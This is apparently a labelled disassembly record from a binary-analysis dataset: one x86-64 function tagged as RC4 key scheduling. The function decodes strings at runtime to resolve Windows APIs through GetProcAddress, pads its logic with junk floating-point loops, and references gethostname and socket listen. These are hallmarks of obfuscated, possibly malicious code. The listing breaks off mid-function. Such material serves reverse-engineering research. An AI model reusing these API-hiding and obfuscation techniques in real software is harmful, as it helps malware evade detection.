Function at 0x140126a50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x428]
sub rsp, 0x528
mov rax, qword [0x140a480a8]
xor rax, rsp
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x468]
mov rbx, qword [rbp + 0x460]
mov qword [rbp - 0x40], rcx
mov ecx, gethostname
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x38], rax
mov dword [rsp + 0x78], r9d
mov qword [rbp - 0x58], rdx
call fcn.14088486c
mov qword [rbp - 0x48], rax
test rax, rax
jne 0x140126ab4
mov dword [rbx], 1
jmp 0x14012be1d
movsd xmm3, qword [0x1408b9418]
xorps xmm0, xmm0
mov qword [rsp + 0x550], rsi
xor ecx, ecx
mov qword [rsp + 0x500], r15
movaps xmmword [rsp + 0x4f0], xmm6
movups xmmword [rax], xmm0
movaps xmmword [rsp + 0x4e0], xmm7
movups xmmword [rax + 0x10], xmm0
movaps xmmword [rsp + 0x4d0], xmm8
movaps xmmword [rsp + 0x4b0], xmm10
xorps xmm10, xmm10
movsd qword [rbp - 0x80], xmm10
movsd qword [rsp + 0x68], xmm10
movsd qword [rbp - 0x80], xmm10
movsd qword [rsp + 0x68], xmm10
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rcx
movsd qword [rsp + 0x68], xmm10
movsd xmm0, qword [rsp + 0x68]
comisd xmm3, xmm0
movaps xmmword [rsp + 0x4a0], xmm11
movsd xmm11, qword [0x1408b4358]
jbe 0x140126c0b
movsd xmm5, qword [0x1408b8868]
movsd xmm6, qword [0x1408b8670]
movsd xmm7, qword [0x1408b86d8]
movsd xmm8, qword [0x1408b87b8]
movsd xmm4, qword [0x1408b8630]
nop dword [rax]
nop word [rax + rax]
movsd xmm2, qword [rsp + 0x68]
mulsd xmm2, xmm5
mulsd xmm2, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd xmm0, qword [rsp + 0x68]
mulsd xmm0, xmm6
subsd xmm2, xmm1
mulsd xmm0, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm2, xmm0
addsd xmm2, qword [rbp - 0x80]
movsd qword [rbp - 0x80], xmm2
movsd xmm0, qword [rbp - 0x80]
comisd xmm0, xmm8
jbe 0x140126bea
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm0, xmm4
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, xmm11
movsd qword [rsp + 0x68], xmm0
movsd xmm1, qword [rsp + 0x68]
comisd xmm3, xmm1
ja 0x140126b80
movsd xmm0, qword [rbp - 0x80]
xor r15d, r15d
comisd xmm10, xmm0
mov qword [rsp + 0x520], rdi
mov esi, 0xff
mov qword [rsp + 0x518], r12
mov qword [rsp + 0x510], r13
mov qword [rsp + 0x508], r14
jbe 0x140126c4e
call 0x14087b46f
call fcn.14087b48f
jmp 0x14012779d
mov eax, r15d
lea rcx, [rbp + 0x230]
nop dword [rax + rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jb 0x140126c60
mov r9d, r15d
lea r14, [fcn.14087b48f]
xor cl, cl
mov r10d, esi
nop
mov r11d, 1
mov edi, r15d
cmp r10d, r11d
jbe 0x140126ca0
nop
lea r11d, [r11*2 + 1]
cmp r11d, r10d
jb 0x140126c90
nop dword [rax]
movzx eax, cl
movzx edx, byte [rbp + rax + 0x230]
mov eax, r9d
test r9d, r9d
je 0x140126cfa
sub eax, 1
je 0x140126ceb
sub eax, 1
je 0x140126cdc
cmp eax, 1
je 0x140126ccd
lea eax, [r9 - 4]
movzx eax, byte [rax + r14]
jmp 0x140126d04
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 0x18
jmp 0x140126d04
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 0x10
jmp 0x140126d04
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 8
jmp 0x140126d04
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
add al, dl
lea r8d, [r9 + 1]
movzx edx, al
cmp r8d, 0x18
mov r9d, r15d
cmovb r9d, r8d
lea eax, [rdx + 0x18]
movzx ecx, al
cmovb ecx, edx
inc edi
movzx ebx, cl
mov eax, ebx
and eax, r11d
cmp edi, 0xb
jbe 0x140126d37
xor edx, edx
div r10d
mov eax, edx
movzx ecx, bl
cmp eax, r10d
ja 0x140126ca0
je 0x140126d76
mov edx, eax
mov ecx, r10d
movzx eax, byte [rbp + rcx + 0x230]
xor al, byte [rbp + rdx + 0x230]
mov byte [rbp + rcx + 0x230], al
xor byte [rbp + rdx + 0x230], al
movzx eax, byte [rbp + rdx + 0x230]
xor byte [rbp + rcx + 0x230], al
movzx ecx, bl
add r10d, 0xffffffff
jne 0x140126c80
movzx edx, byte [rbp + 0x237]
lea rax, [0x14087b46f]
movzx ecx, byte [rax + 1]
mov edi, r15d
movzx r8d, byte [rax]
sub cl, 0x53
movzx eax, byte [rbp + 0x231]
inc r8b
movzx r10d, byte [rbp + rbx + 0x230]
mov esi, 5
movzx r13d, byte [rbp + 0x233]
movzx r12d, byte [rbp + 0x235]
add r13b, byte [rbp + rax + 0x230]
lea r14d, [rax + 1]
movzx r11d, byte [rbp + r10 + 0x230]
movzx r9d, r13b
shl r8b, 4
or r8b, cl
mov byte [rbp - 0x70], r11b
movzx ecx, r14b
movzx eax, byte [rbp + r9 + 0x230]
mov byte [rbp + r10 + 0x230], al
movzx eax, byte [rbp + rdx + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, byte [rbp + rcx + 0x230]
mov byte [rbp + rdx + 0x230], al
mov byte [rbp + rcx + 0x230], r11b
add r12b, byte [rbp + r11 + 0x230]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r10 + 0x230]
add rcx, rax
movzx eax, byte [rbp + rdx + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r9 + 0x230]
add rax, r11
movzx eax, al
movzx edx, byte [rbp + rcx + 0x230]
xor dl, byte [rbp + rax + 0x230]
mov eax, r15d
xor dl, r8b
add r13b, byte [rbp - 0x70]
lea rcx, [0x14087b46f]
add eax, 2
movzx r10d, r8b
mov dword [rsp + 0x58], eax
inc r14b
cdqe
movzx r8d, dl
movzx ebx, byte [rbp + r10 + 0x230]
movzx r9d, r13b
movzx r15d, byte [rax + rcx + 1]
movzx r11d, byte [rax + rcx]
sub r15d, 0x53
inc r11b
mov dword [rbp - 0x80], edi
movzx eax, byte [rbp + r9 + 0x230]
lea rcx, [rbp + 0x230]
mov byte [rbp + r10 + 0x230], al
movzx eax, byte [rbp + r8 + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, r14b
add rcx, rax
shl r11b, 4
mov qword [rbp - 0x60], rcx
or r11b, r15b
movzx eax, byte [rcx]
mov byte [rbp + r8 + 0x230], al
mov byte [rcx], bl
add r12b, byte [rbp + rbx + 0x230]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r8 + 0x230]
movzx r8d, r11b
add rcx, rax
movzx eax, byte [rbp + r10 + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r9 + 0x230]
add rax, rbx
movzx eax, al
movzx edx, byte [rbp + rcx + 0x230]
xor dl, byte [rbp + rax + 0x230]
xor dl, r11b
add edi, 1
je 0x140126f75
mov eax, dword [rbp - 0x80]
mov byte [rbp + rax + 0x220], dl
mov eax, dword [rsp + 0x58]
mov byte [rbp - 0x70], bl
sub rsi, 1
jne 0x140126e81
lea ecx, [rdi + 1]
mov esi, 0xff
cmp ecx, 0xd
jge 0x14012720f
movss xmm3, dword [0x1408b9b1c]
lea r9d, [rdi + rdi]
movss xmm4, dword [0x1408b9a2c]
mov eax, reloc.WS2_32.dll_listen
movss xmm5, dword [0x1408b982c]
sub eax, ecx
movss xmm6, dword [0x1408b9604]
mov rsi, qword [rbp - 0x60]
mov ecx, eax
mov qword [rsp + 0x68], rcx
nop dword [rax]
add r9d, 2
mov dword [rbp - 0x80], edi
movsxd rax, r9d
lea rcx, [0x14087b46f]
inc edi
mov dword [rsp + 0x60], r9d
movzx r11d, r8b
movzx r15d, byte [rax + rcx + 1]
movzx r10d, byte [rax + rcx]
sub r15d, 0x53
movss dword [rsp + 0x50], xmm3
inc r10b
movss dword [rsp + 0x48], xmm4
movss dword [rsp + 0x58], xmm5
movss dword [rsp + 0x40], xmm6
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x58]
mulss xmm1, xmm0
shl r10b, 4
or r10b, r15b
movss dword [rsp + 0x58], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x40]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x50]
comiss xmm0, xmm1
jbe 0x1401270e9
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
movzx ebx, byte [rbp + r11 + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
movss xmm1, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
mulss xmm1, xmm0
movss dword [rsp + 0x40], xmm1
movss xmm2, dword [rsp + 0x40]
movss xmm0, dword [rsp + 0x48]
mulss xmm2, xmm0
movss dword [rsp + 0x40], xmm2
jmp 0x140127141
movss xmm1, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x58]
subss xmm1, xmm0
movss dword [rsp + 0x48], xmm1
movss xmm2, dword [rsp + 0x48]
movss xmm0, dword [rsp + 0x50]
mulss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
movss xmm1, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm1, xmm0
movss dword [rsp + 0x50], xmm1
movss xmm2, dword [rsp + 0x50]
movss xmm0, dword [rsp + 0x48]
subss xmm2, xmm0
movss dword [rsp + 0x50], xmm2
add r13b, byte [rsi]
inc r14b
movzx r8d, dl
lea rsi, [rbp + 0x230]
movzx r9d, r13b
movzx edx, bl
movzx eax, byte [rbp + r9 + 0x230]
mov byte [rbp + r11 + 0x230], al
movzx eax, byte [rbp + r8 + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, r14b
add rsi, rax
movzx eax, byte [rsi]
mov byte [rbp + r8 + 0x230], al
mov byte [rsi], bl
add r12b, byte [rbp + rdx + 0x230]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r8 + 0x230]
movzx r8d, r10b
add rcx, rax
movzx eax, byte [rbp + r11 + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r9 + 0x230]
add rax, rdx
movzx eax, al
movzx edx, byte [rbp + rcx + 0x230]
xor dl, byte [rbp + rax + 0x230]
xor dl, r10b
test edi, edi
je 0x1401271f9
mov eax, dword [rbp - 0x80]
mov byte [rbp + rax + 0x220], dl
sub qword [rsp + 0x68], 1
mov r9d, dword [rsp + 0x60]
jne 0x140126fd0
mov esi, 0xff
movsd xmm0, qword [0x1408b9008]
movsd xmm1, qword [0x1408b8ea0]
mov ebx, edi
inc edi
mov dword [rbp - 0x80], edi
lea eax, [rdi + rdi]
movsxd rcx, eax
lea rax, [0x14087b46f]
add rcx, rax
movzx eax, byte [rcx + 1]
movzx r10d, byte [rcx]
movsd qword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1408b8d78]
movsd qword [rsp + 0x48], xmm1
movsd xmm1, qword [0x1408b8be8]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1408b5ec0]
movsd qword [rsp + 0x50], xmm1
movsd xmm1, qword [0x1408b8928]
movsd qword [rsp + 0x60], xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
addsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x40]
addsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x58]
comisd xmm1, xmm0
movsd xmm1, qword [rsp + 0x58]
jbe 0x1401273a6
movsd xmm0, qword [rsp + 0x68]
lea r15d, [rax - 0x53]
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm2, xmm0
movsd qword [rsp + 0x48], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x60]
addsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
jmp 0x140127424
movsd xmm0, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
movsd xmm2, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm2, xmm0
movsd qword [rsp + 0x68], xmm2
movsd xmm1, qword [rsp + 0x40]
movsd xmm0, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
movsd xmm2, qword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x58]
subsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x58]
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x40]
addsd xmm2, xmm0
movsd qword [rsp + 0x40], xmm2
movzx eax, r14b
add r10b, 0x41
movzx r9d, r8b
inc r14b
movzx edx, dl
movzx ecx, r14b
add r13b, byte [rbp + rax + 0x230]
movzx r11d, byte [rbp + r9 + 0x230]
movzx r8d, r13b
shl r10b, 4
or r10b, r15b
movzx eax, byte [rbp + r8 + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, byte [rbp + rdx + 0x230]
mov byte [rbp + r8 + 0x230], al
movzx eax, byte [rbp + rcx + 0x230]
mov byte [rbp + rdx + 0x230], al
mov byte [rbp + rcx + 0x230], r11b
add r12b, byte [rbp + r11 + 0x230]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + rdx + 0x230]
add rcx, rax
movzx eax, byte [rbp + r9 + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r8 + 0x230]
add rcx, r11
movzx edx, byte [rbp + rax + 0x230]
movzx eax, cl
movzx ecx, byte [rbp + rdx + 0x230]
xor cl, byte [rbp + rax + 0x230]
xor cl, r10b
test edi, edi
je 0x1401274f0
mov byte [rbp + rbx + 0x220], cl
inc edi
movzx r9d, r10b
lea rdx, [0x14087b46f]
mov dword [rsp + 0x58], edi
add r13b, r11b
inc r14b
movzx r8d, r13b
movzx r15d, byte [rbp + r9 + 0x230]
lea eax, [rdi + rdi]
cdqe
movzx ebx, byte [rax + rdx + 1]
movzx eax, byte [rax + rdx]
sub bl, 0x53
movzx edx, cl
inc al
shl al, 4
or bl, al
movzx ecx, r14b
movzx eax, byte [rbp + r8 + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, byte [rbp + rdx + 0x230]
mov byte [rbp + r8 + 0x230], al
movzx eax, byte [rbp + rcx + 0x230]
mov byte [rbp + rdx + 0x230], al
mov byte [rbp + rcx + 0x230], r15b
add r12b, byte [rbp + r15 + 0x230]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + rdx + 0x230]
add rcx, rax
movzx eax, byte [rbp + r9 + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r8 + 0x230]
add rcx, r15
movzx edx, byte [rbp + rax + 0x230]
movzx eax, cl
movzx ecx, byte [rbp + rdx + 0x230]
xor cl, byte [rbp + rax + 0x230]
xor cl, bl
test edi, edi
je 0x1401275cf
mov eax, dword [rbp - 0x80]
mov byte [rbp + rax + 0x220], cl
inc edi
movzx r9d, bl
lea rdx, [0x14087b46f]
mov dword [rbp - 0x80], edi
add r13b, r15b
inc r14b
movzx r8d, r13b
movzx r10d, byte [rbp + r9 + 0x230]
lea eax, [rdi + rdi]
cdqe
movzx r11d, byte [rax + rdx + 1]
movzx eax, byte [rax + rdx]
sub r11b, 0x53
movzx edx, cl
inc al
shl al, 4
or r11b, al
movzx ecx, r14b
movzx eax, byte [rbp + r8 + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, byte [rbp + rdx + 0x230]
mov byte [rbp + r8 + 0x230], al
movzx eax, byte [rbp + rcx + 0x230]
mov byte [rbp + rdx + 0x230], al
mov byte [rbp + rcx + 0x230], r10b
add r12b, byte [rbp + r10 + 0x230]
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + rdx + 0x230]
add rcx, rax
movzx eax, byte [rbp + r9 + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + r8 + 0x230]
add rcx, r10
movzx edx, byte [rbp + rax + 0x230]
movzx eax, cl
movzx ecx, byte [rbp + rdx + 0x230]
xor cl, byte [rbp + rax + 0x230]
xor cl, r11b
test edi, edi
je 0x1401276b2
mov eax, dword [rsp + 0x58]
mov byte [rbp + rax + 0x220], cl
add r10b, r13b
movzx r9d, r11b
movzx r11d, r10b
inc r14b
movzx r10d, cl
movzx ecx, r14b
movzx edx, byte [rbp + r9 + 0x230]
movzx eax, byte [rbp + r11 + 0x230]
mov byte [rbp + r9 + 0x230], al
movzx eax, byte [rbp + r10 + 0x230]
mov byte [rbp + r11 + 0x230], al
movzx eax, byte [rbp + rcx + 0x230]
mov byte [rbp + r10 + 0x230], al
mov byte [rbp + rcx + 0x230], dl
add edi, 1
je 0x140127793
mov r8d, edx
lea rcx, [0x14087b46f]
lea eax, [rdi + rdi]
cdqe
add r12b, byte [rbp + r8 + 0x230]
movzx edx, byte [rax + rcx + 1]
movzx eax, byte [rax + rcx]
sub dl, 0x53
inc al
shl al, 4
or dl, al
movzx eax, r12b
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r10 + 0x230]
add rcx, rax
movzx eax, byte [rbp + r9 + 0x230]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x230]
movzx eax, byte [rbp + r11 + 0x230]
add rax, r8
xor dl, byte [rbp + rcx + 0x230]
movzx ecx, al
mov eax, dword [rbp - 0x80]
xor dl, byte [rbp + rcx + 0x230]
mov byte [rbp + rax + 0x220], dl
mov byte [rbp + 0x22f], 0
xor r15d, r15d
mov rcx, qword [rbp - 0x58]
lea rdx, [rbp + 0x220]
movaps xmmword [rsp + 0x4c0], xmm9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movsxd rcx, dword [rsp + 0x78]
xorps xmm0, xmm0
movsd xmm3, qword [0x1408b93f0]
mov rbx, rax
movdqu xmmword [rbp], xmm0
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x20], 0x30
mov qword [rbp - 0x18], r15
mov dword [rbp - 8], r15d
mov qword [rbp - 0x10], r15
mov qword [rbp - 0x28], r15
movsd qword [rbp - 0x80], xmm10
movsd qword [rsp + 0x68], xmm10
movsd qword [rbp - 0x80], xmm10
movsd qword [rsp + 0x68], xmm10
movsd qword [rsp + 0x68], xmm10
movsd xmm0, qword [rsp + 0x68]
comisd xmm3, xmm0
mov qword [rbp - 0x60], rax
jbe 0x1401278eb
movsd xmm6, qword [0x1408b88d0]
movsd xmm7, qword [0x1408b43b0]
movsd xmm8, qword [0x1408b86a0]
movsd xmm9, qword [0x1408b8780]
movsd xmm4, qword [0x1408b85c8]
movsd xmm5, qword [0x1408b4240]
nop dword [rax]
nop word [rax + rax]
movsd xmm2, qword [rsp + 0x68]
mulsd xmm2, xmm6
mulsd xmm2, qword [rsp + 0x68]
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm1, xmm0
movsd xmm0, qword [rsp + 0x68]
mulsd xmm0, xmm7
subsd xmm2, xmm1
mulsd xmm0, qword [rsp + 0x68]
addsd xmm0, xmm8
divsd xmm2, xmm0
addsd xmm2, qword [rbp - 0x80]
movsd qword [rbp - 0x80], xmm2
movsd xmm0, qword [rbp - 0x80]
comisd xmm0, xmm9
jbe 0x1401278cb
movsd xmm1, qword [rbp - 0x80]
movsd xmm0, qword [rsp + 0x68]
mulsd xmm0, xmm4
subsd xmm1, xmm0
movsd qword [rbp - 0x80], xmm1
movsd xmm0, qword [rsp + 0x68]
addsd xmm0, xmm5
movsd qword [rsp + 0x68], xmm0
movsd xmm1, qword [rsp + 0x68]
comisd xmm3, xmm1
ja 0x140127860
movsd xmm0, qword [rbp - 0x80]
comisd xmm10, xmm0
jbe 0x140127906
call fcn.14087bab0
call 0x14087ba94
jmp 0x140129b0c
mov eax, r15d
lea rcx, [rbp + 0x20]
nop dword [rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jb 0x140127910
mov r9d, r15d
lea r14, [fcn.14087bab0]
xor cl, cl
mov r10d, esi
nop
mov r11d, 1
mov edi, r15d
cmp r10d, r11d
jbe 0x140127950
nop
lea r11d, [r11*2 + 1]
cmp r11d, r10d
jb 0x140127940
nop dword [rax]
movzx eax, cl
movzx edx, byte [rbp + rax + 0x20]
mov eax, r9d
test r9d, r9d
je 0x1401279a7
sub eax, 1
je 0x140127998
sub eax, 1
je 0x140127989
cmp eax, 1
je 0x14012797a
lea eax, [r9 - 4]
movzx eax, byte [rax + r14]
jmp 0x1401279b1
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 0x18
jmp 0x1401279b1
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 0x10
jmp 0x1401279b1
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
shr eax, 8
jmp 0x1401279b1
movsd xmm0, qword [rbp - 0x80]
cvttsd2si rax, xmm0
add al, dl
lea r8d, [r9 + 1]
movzx edx, al
cmp r8d, 0x1f
mov r9d, r15d
cmovb r9d, r8d
lea eax, [rdx + 0x1f]
movzx ecx, al
cmovb ecx, edx
inc edi
movzx ebx, cl
mov eax, ebx
and eax, r11d
cmp edi, 0xb
jbe 0x1401279e4
xor edx, edx
div r10d
mov eax, edx
movzx ecx, bl
cmp eax, r10d
ja 0x140127950
je 0x140127a11
mov edx, eax
mov ecx, r10d
movzx eax, byte [rbp + rdx + 0x20]
xor al, byte [rbp + rcx + 0x20]
mov byte [rbp + rcx + 0x20], al
xor byte [rbp + rdx + 0x20], al
movzx eax, byte [rbp + rdx + 0x20]
xor byte [rbp + rcx + 0x20], al
movzx ecx, bl
add r10d, 0xffffffff
jne 0x140127930
movzx r10d, byte [rbp + rbx + 0x20]
lea rax, [0x14087ba94]
movzx ecx, byte [rax + 1]
mov edi, r15d
movzx r8d, byte [rax]
add cl, 0x2f
movzx eax, byte [rbp + 0x21]
add r8b, 2
movzx edx, byte [rbp + 0x27]
movzx r15d, byte [rbp + r10 + 0x20]
movzx r11d, byte [rbp + 0x25]
lea r13d, [rax + 1]
shl r8b, 4
or r8b, cl
movzx ecx, byte [rbp + 0x23]
add cl, byte [rbp + rax + 0x20]
movzx r9d, cl
mov byte [rbp - 0x70], cl
movzx ecx, r13b
movzx eax, byte [rbp + r9 + 0x20]
mov byte [rbp + r10 + 0x20], al
movzx eax, byte [rbp + rdx + 0x20]
mov byte [rbp + r9 + 0x20], al
movzx eax, byte [rbp + rcx + 0x20]
mov byte [rbp + rdx + 0x20], al
mov byte [rbp + rcx + 0x20], r15b
add r11b, byte [rbp + r15 + 0x20]
movzx eax, r11b
mov byte [rsp + 0x70], r11b
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r10 + 0x20]
movzx r10d, r8b
add rcx, rax
movzx eax, byte [rbp + rdx + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r9 + 0x20]
add rax, r15
movzx eax, al
movzx edx, byte [rbp + rcx + 0x20]
xor dl, byte [rbp + rax + 0x20]
xor dl, r8b
xor esi, esi
lea ebx, [rsi + 4]
nop
movzx r8d, dl
lea rcx, [0x14087ba94]
movzx r9d, r10b
add esi, 2
movsxd rax, esi
inc r13b
mov r12d, edi
movzx r14d, byte [rbp + r9 + 0x20]
movzx r11d, byte [rax + rcx + 1]
movzx eax, byte [rax + rcx]
add r11b, 0x2f
add al, 2
movzx ecx, r13b
shl al, 4
or r11b, al
movzx eax, byte [rbp - 0x70]
add al, r15b
movzx r10d, al
mov byte [rbp - 0x70], al
movzx eax, byte [rbp + r10 + 0x20]
mov byte [rbp + r9 + 0x20], al
movzx eax, byte [rbp + r8 + 0x20]
mov byte [rbp + r10 + 0x20], al
movzx eax, byte [rbp + rcx + 0x20]
mov byte [rbp + r8 + 0x20], al
movzx eax, byte [rsp + 0x70]
mov byte [rbp + rcx + 0x20], r14b
add al, byte [rbp + r14 + 0x20]
mov byte [rsp + 0x70], al
movzx eax, al
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r9 + 0x20]
add rcx, rax
movzx eax, byte [rbp + r8 + 0x20]
add rcx, rax
movzx eax, cl
movzx ecx, byte [rbp + rax + 0x20]
movzx eax, byte [rbp + r10 + 0x20]
add rax, r14
movzx r10d, r11b
movzx eax, al
movzx edx, byte [rbp + rcx + 0x20]
xor dl, byte [rbp + rax + 0x20]
xor dl, r11b
add edi, 1
je 0x140127ba4
mov byte [rbp + r12 + 0x10], dl
movzx r15d, r14b
sub rbx, 1
jne 0x140127ae0
movsd xmm0, qword [0x1408b9350]
lea rcx, [0x14087ba94]
movsd xmm1, qword [0x1408b9238]
inc r13b
movzx r15d, byte [rbp - 0x70]
add r15b, r14b
movzx edx, dl
movzx ebx, r15b
mov dword [rsp + 0x58], edi
inc edi
movzx r9d, r13b
lea eax, [rdi + rdi]
mov dword [rbp - 0x80], eax
cdqe
add rax, rcx
movzx ecx, byte [rax]
movzx r8d, byte [rax + 1]
sub ecx, 0x1e
movzx eax, byte [rbp + rbx + 0x20]
add r8b, 0x2f
shl ecx, 4
or r8b, cl
mov dword [rsp + 0x40], ecx
movzx ecx, byte [rbp + r10 + 0x20]
mov byte [rbp + r10 + 0x20], al
movzx eax, byte [rbp + rdx + 0x20]
mov byte [rbp + rbx + 0x20], al
movzx eax, byte [rbp + r9 + 0x20]
mov byte [rbp + rdx + 0x20], al
movsd qword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1408b90c0]
movsd qword [rbp - 0x78], xmm1
movsd xmm1, qword [0x1408b8e98]
movsd qword [rsp + 0x50], xmm0
movsd xmm0, qword [0x1408b8c70]
movsd qword [rsp + 0x78], xmm1
movsd xmm1, qword [0x1408b8a00]
movsd qword [rsp + 0x60], xmm0
movsd qword [rsp + 0x68], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x50]
mulsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x60]
movsd xmm0, qword [rsp + 0x68]
subsd xmm2, xmm0
movsd qword [rsp + 0x60], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x48]
mulsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movsd xmm2, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x50]
addsd xmm2, xmm0
movsd qword [rsp + 0x50], xmm2
movsd xmm1, qword [rsp + 0x68]
movsd xmm0, qword [rsp + 0x60]
mulsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movsd xmm1, qword [rsp + 0x48]
movsd xmm0, qword [rsp + 0x68]
